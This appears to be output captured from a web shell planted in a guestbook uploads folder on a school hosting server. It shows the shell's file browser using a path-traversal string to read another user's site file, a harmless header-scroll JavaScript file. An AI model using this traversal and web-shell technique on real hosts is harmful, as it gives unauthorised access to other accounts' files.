🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../584701.klas4s23.mid-ica.nl/public_html/../public_html/assets/js/header.js

/**
 * Header Effects Management
 * Handles header shadow on scroll and scroll-up button visibility
 */
function initHeaderEffects() {
    const header = document.getElementById('header');
    const scrollUpBtn = document.getElementById('scroll-up');

    /*=============== SHADOW HEADER ===============*/
    const shadowHeader = () => {
        if (header) {
            window.scrollY >= 50 
                ? header.classList.add('shadow-header')
                : header.classList.remove('shadow-header');
        }
    };

    /*=============== SHOW SCROLL UP BUTTON ===============*/
    const toggleScrollUp = () => {
        if (scrollUpBtn) {
            window.scrollY >= 350 
                ? scrollUpBtn.classList.add('show-scroll')
                : scrollUpBtn.classList.remove('show-scroll');
        }
    };

    // Combined scroll event listener for better performance
    const handleScroll = () => {
        shadowHeader();
        toggleScrollUp();
    };

    window.addEventListener('scroll', handleScroll);
    
    // Initial check
    handleScroll();
}

// Wait for components to load before initializing
window.addEventListener('componentsLoaded', initHeaderEffects);

// Fallback: also try on DOMContentLoaded
document.addEventListener('DOMContentLoaded', function() {
    setTimeout(initHeaderEffects, 100);
});

🎯 Available Actions